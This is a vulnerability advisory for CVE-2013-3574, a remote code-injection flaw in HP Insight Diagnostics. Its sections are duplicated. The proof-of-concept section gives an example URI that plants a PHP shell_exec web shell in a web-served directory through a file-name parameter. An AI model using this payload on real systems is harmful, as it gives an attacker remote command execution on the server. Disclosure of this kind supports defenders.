HP Insight Diagnostics CVE-2013-3574 Remote Code Injection Vulnerability
BID:60447
Info
HP Insight Diagnostics CVE-2013-3574 Remote Code Injection Vulnerability
| Bugtraq ID: | 60447 |
| Class: | Input Validation Error |
| CVE: |
CVE-2013-3574 |
| Remote: | Yes |
| Local: | No |
| Published: | Jun 10 2013 12:00AM |
| Updated: | Jun 10 2013 08:46PM |
| Credit: | Markus Wulftange from Daimler TSS |
| Vulnerable: | |
| Not Vulnerable: | |
Discussion
HP Insight Diagnostics CVE-2013-3574 Remote Code Injection Vulnerability
HP Insight Diagnostics is prone to a remote code-injection vulnerability.
An attacker can exploit this vulnerability to inject and execute arbitrary code within the context of the affected application.
HP Insight Diagnostics 9.4.0.4710 is vulnerable; other versions may also be affected.
HP Insight Diagnostics is prone to a remote code-injection vulnerability.
An attacker can exploit this vulnerability to inject and execute arbitrary code within the context of the affected application.
HP Insight Diagnostics 9.4.0.4710 is vulnerable; other versions may also be affected.
Exploit / POC
HP Insight Diagnostics CVE-2013-3574 Remote Code Injection Vulnerability
An attacker can exploit this issue using a web browser.
The following example URI is available:
https://www.example.com/hpdiags/frontend2/commands/saveCompareConfig.php?filename=comparesurvey&target=winhardrive&device=&devicePath=C:/hp/hpsmh/data/htdocs/hpdiags/frontend2/help/&category=all&advanced=yes&leftFile=surveybase.xml&leftFileName=<%3f=shell_exec($_REQUEST[0])%3b%3f>&rightFile=survey.lastwebsession.xml&rightFileName=-&changesOnly=yes&overwrite=yes
An attacker can exploit this issue using a web browser.
The following example URI is available:
https://www.example.com/hpdiags/frontend2/commands/saveCompareConfig.php?filename=comparesurvey&target=winhardrive&device=&devicePath=C:/hp/hpsmh/data/htdocs/hpdiags/frontend2/help/&category=all&advanced=yes&leftFile=surveybase.xml&leftFileName=<%3f=shell_exec($_REQUEST[0])%3b%3f>&rightFile=survey.lastwebsession.xml&rightFileName=-&changesOnly=yes&overwrite=yes
Solution / Fix
HP Insight Diagnostics CVE-2013-3574 Remote Code Injection Vulnerability
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
HP Insight Diagnostics CVE-2013-3574 Remote Code Injection Vulnerability
References:
References:
- HP Homepage (HP)